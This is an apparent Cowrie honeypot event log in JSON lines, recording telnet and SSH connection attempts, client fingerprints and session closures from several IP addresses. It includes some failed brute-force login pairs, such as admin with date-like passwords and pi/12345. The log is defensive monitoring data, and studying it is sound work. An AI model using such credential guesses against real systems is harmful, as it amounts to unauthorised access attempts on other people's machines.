{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51984,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d6ed4862673","protocol":"telnet","message":"New connection: 104.245.105.2:51984 (10.17.0.5:23) [session: 0d6ed4862673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:47:19.504835Z"}
{"eventid":"cowrie.session.closed","duration":31.485224962234497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:47:22.487694Z","src_ip":"104.245.105.2","session":"727f7c391e30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40908,"dst_ip":"10.17.0.5","dst_port":23,"session":"816408130ceb","protocol":"telnet","message":"New connection: 104.245.105.2:40908 (10.17.0.5:23) [session: 816408130ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:47:34.639636Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":41968,"dst_ip":"10.17.0.5","dst_port":23,"session":"a22ab6de538d","protocol":"telnet","message":"New connection: 207.154.251.61:41968 (10.17.0.5:23) [session: a22ab6de538d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:47:34.645185Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.173.26.90","src_port":31452,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fd91f3956b5","protocol":"telnet","message":"New connection: 122.173.26.90:31452 (159.203.135.109:23) [session: 5fd91f3956b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:47:37.626857Z"}
{"eventid":"cowrie.session.closed","duration":120.0008955001831,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:47:40.495463Z","src_ip":"207.154.251.61","session":"a5ce0feb171c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":33228,"dst_ip":"10.17.0.5","dst_port":23,"session":"246bf3a0cd26","protocol":"telnet","message":"New connection: 207.154.251.61:33228 (10.17.0.5:23) [session: 246bf3a0cd26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:47:42.125750Z"}
{"eventid":"cowrie.session.closed","duration":0.005246162414550781,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:47:42.130891Z","src_ip":"207.154.251.61","session":"246bf3a0cd26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08941912651062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:47:50.594141Z","src_ip":"104.245.105.2","session":"0d6ed4862673","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.92811155319214,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:47:55.554842Z","src_ip":"122.173.26.90","session":"5fd91f3956b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":36246,"dst_ip":"10.17.0.5","dst_port":23,"session":"16de2d686cbe","protocol":"telnet","message":"New connection: 104.245.105.2:36246 (10.17.0.5:23) [session: 16de2d686cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:48:11.152927Z"}
{"eventid":"cowrie.session.closed","duration":42.04589009284973,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:48:16.685405Z","src_ip":"104.245.105.2","session":"816408130ceb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.134.216.108","src_port":41584,"dst_ip":"159.203.135.109","dst_port":22,"session":"667f574f5258","protocol":"ssh","message":"New connection: 3.134.216.108:41584 (159.203.135.109:22) [session: 667f574f5258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:48:30.637234Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:48:30.642210Z","src_ip":"3.134.216.108","session":"667f574f5258","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:48:30.645759Z","src_ip":"3.134.216.108","session":"667f574f5258","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.422502756118774,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:48:33.067600Z","src_ip":"207.154.251.61","session":"a22ab6de538d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.46106195449829,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:48:43.613890Z","src_ip":"104.245.105.2","session":"16de2d686cbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":50160,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfa89feb28c2","protocol":"telnet","message":"New connection: 207.154.251.61:50160 (10.17.0.5:23) [session: dfa89feb28c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:48:51.641206Z"}
{"eventid":"cowrie.session.closed","duration":120.00134539604187,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:49:15.986644Z","src_ip":"207.154.251.61","session":"7b5274b28bae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.09878182411194,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:49:26.739843Z","src_ip":"207.154.251.61","session":"dfa89feb28c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.134.216.108","src_port":35170,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e63f4eb26b5","protocol":"ssh","message":"New connection: 3.134.216.108:35170 (159.203.135.109:22) [session: 9e63f4eb26b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:49:40.910746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:49:40.990266Z","src_ip":"3.134.216.108","session":"9e63f4eb26b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:49:40.993881Z","src_ip":"3.134.216.108","session":"9e63f4eb26b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:49:50.990661Z","src_ip":"3.134.216.108","session":"9e63f4eb26b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":57558,"dst_ip":"159.203.135.109","dst_port":22,"session":"67adb7d65b16","protocol":"ssh","message":"New connection: 2.57.121.112:57558 (159.203.135.109:22) [session: 67adb7d65b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:50:31.287954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:50:31.292965Z","src_ip":"2.57.121.112","session":"67adb7d65b16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:50:31.398960Z","src_ip":"2.57.121.112","session":"67adb7d65b16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"161180","message":"login attempt [admin/161180] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:50:31.895289Z","src_ip":"2.57.121.112","session":"67adb7d65b16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"161081","message":"login attempt [admin/161081] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:50:33.004083Z","src_ip":"2.57.121.112","session":"67adb7d65b16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":43812,"dst_ip":"10.17.0.5","dst_port":23,"session":"05de430e5d55","protocol":"telnet","message":"New connection: 207.154.251.61:43812 (10.17.0.5:23) [session: 05de430e5d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:50:33.167953Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"161077","message":"login attempt [admin/161077] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:50:34.112667Z","src_ip":"2.57.121.112","session":"67adb7d65b16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"16101970","message":"login attempt [admin/16101970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:50:35.221256Z","src_ip":"2.57.121.112","session":"67adb7d65b16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1610","message":"login attempt [admin/1610] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:50:36.329819Z","src_ip":"2.57.121.112","session":"67adb7d65b16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:50:37.437518Z","src_ip":"2.57.121.112","session":"67adb7d65b16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57472,"dst_ip":"10.17.0.5","dst_port":23,"session":"578403c27918","protocol":"telnet","message":"New connection: 104.245.105.2:57472 (10.17.0.5:23) [session: 578403c27918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:50:40.185068Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":45514,"dst_ip":"10.17.0.5","dst_port":23,"session":"da4d0b33262b","protocol":"telnet","message":"New connection: 207.154.251.61:45514 (10.17.0.5:23) [session: da4d0b33262b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:50:47.290158Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":40532,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c0240a43aca","protocol":"telnet","message":"New connection: 207.154.251.61:40532 (10.17.0.5:23) [session: 7c0240a43aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:50:55.024765Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56746,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f9554423b43","protocol":"telnet","message":"New connection: 104.245.105.2:56746 (10.17.0.5:23) [session: 6f9554423b43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:51:01.919703Z"}
{"eventid":"cowrie.session.closed","duration":42.4567449092865,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:51:15.624578Z","src_ip":"207.154.251.61","session":"05de430e5d55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55428,"dst_ip":"10.17.0.5","dst_port":23,"session":"c20aab5be436","protocol":"telnet","message":"New connection: 104.245.105.2:55428 (10.17.0.5:23) [session: c20aab5be436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:51:15.880625Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":4894,"dst_ip":"159.203.135.109","dst_port":22,"session":"78cbc36883c0","protocol":"ssh","message":"New connection: 193.24.211.95:4894 (159.203.135.109:22) [session: 78cbc36883c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:51:18.303954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:51:18.309216Z","src_ip":"193.24.211.95","session":"78cbc36883c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:51:18.418609Z","src_ip":"193.24.211.95","session":"78cbc36883c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"12345","message":"login attempt [pi/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:51:18.844943Z","src_ip":"193.24.211.95","session":"78cbc36883c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.10466480255127,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:51:19.289602Z","src_ip":"104.245.105.2","session":"578403c27918","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:51:19.970896Z","src_ip":"193.24.211.95","session":"78cbc36883c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":40518,"dst_ip":"10.17.0.5","dst_port":23,"session":"612f7602577f","protocol":"telnet","message":"New connection: 207.154.251.61:40518 (10.17.0.5:23) [session: 612f7602577f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:51:24.817750Z"}
{"eventid":"cowrie.session.closed","duration":30.29418134689331,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:51:32.213758Z","src_ip":"104.245.105.2","session":"6f9554423b43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":32922,"dst_ip":"10.17.0.5","dst_port":23,"session":"87ac0e8bb851","protocol":"telnet","message":"New connection: 207.154.251.61:32922 (10.17.0.5:23) [session: 87ac0e8bb851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:51:34.572016Z"}
{"eventid":"cowrie.session.closed","duration":43.64286804199219,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:51:38.667472Z","src_ip":"207.154.251.61","session":"7c0240a43aca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":59620,"dst_ip":"10.17.0.5","dst_port":23,"session":"31c05e7d957f","protocol":"telnet","message":"New connection: 207.154.251.61:59620 (10.17.0.5:23) [session: 31c05e7d957f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:51:42.712803Z"}
{"eventid":"cowrie.session.closed","duration":30.752546548843384,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:51:46.633051Z","src_ip":"104.245.105.2","session":"c20aab5be436","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":51690,"dst_ip":"10.17.0.5","dst_port":23,"session":"379c5fbefbb6","protocol":"telnet","message":"New connection: 207.154.251.61:51690 (10.17.0.5:23) [session: 379c5fbefbb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:51:48.104381Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":36996,"dst_ip":"10.17.0.5","dst_port":23,"session":"12110575ea31","protocol":"telnet","message":"New connection: 207.154.251.61:36996 (10.17.0.5:23) [session: 12110575ea31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:51:52.746377Z"}
{"eventid":"cowrie.session.closed","duration":0.0057735443115234375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:51:52.752006Z","src_ip":"207.154.251.61","session":"12110575ea31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.227.79.216","src_port":62347,"dst_ip":"10.17.0.5","dst_port":23,"session":"68b109cd6c46","protocol":"telnet","message":"New connection: 148.227.79.216:62347 (10.17.0.5:23) [session: 68b109cd6c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:51:59.168507Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":43302,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0977acf81b8","protocol":"telnet","message":"New connection: 207.154.251.61:43302 (10.17.0.5:23) [session: a0977acf81b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:52:10.824846Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38660,"dst_ip":"10.17.0.5","dst_port":23,"session":"10fdeab6addd","protocol":"telnet","message":"New connection: 104.245.105.2:38660 (10.17.0.5:23) [session: 10fdeab6addd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:52:10.898533Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":53718,"dst_ip":"10.17.0.5","dst_port":23,"session":"16d526c5e846","protocol":"telnet","message":"New connection: 207.154.251.61:53718 (10.17.0.5:23) [session: 16d526c5e846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:52:17.935097Z"}
{"eventid":"cowrie.session.closed","duration":44.79948019981384,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:52:19.371373Z","src_ip":"207.154.251.61","session":"87ac0e8bb851","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.30087232589722,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:52:31.404981Z","src_ip":"207.154.251.61","session":"379c5fbefbb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":56228,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e43b49250eb","protocol":"telnet","message":"New connection: 207.154.251.61:56228 (10.17.0.5:23) [session: 5e43b49250eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:52:37.728872Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":53752,"dst_ip":"10.17.0.5","dst_port":23,"session":"63f332dc09a7","protocol":"telnet","message":"New connection: 207.154.251.61:53752 (10.17.0.5:23) [session: 63f332dc09a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:52:40.854136Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.41.20.148","src_port":44993,"dst_ip":"10.17.0.5","dst_port":23,"session":"62ce062c3a00","protocol":"telnet","message":"New connection: 122.41.20.148:44993 (10.17.0.5:23) [session: 62ce062c3a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:52:46.429610Z"}
{"eventid":"cowrie.session.closed","duration":120.00184726715088,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:52:47.291908Z","src_ip":"207.154.251.61","session":"da4d0b33262b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.157039165496826,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:52:51.055434Z","src_ip":"104.245.105.2","session":"10fdeab6addd","protocol":"telnet"}
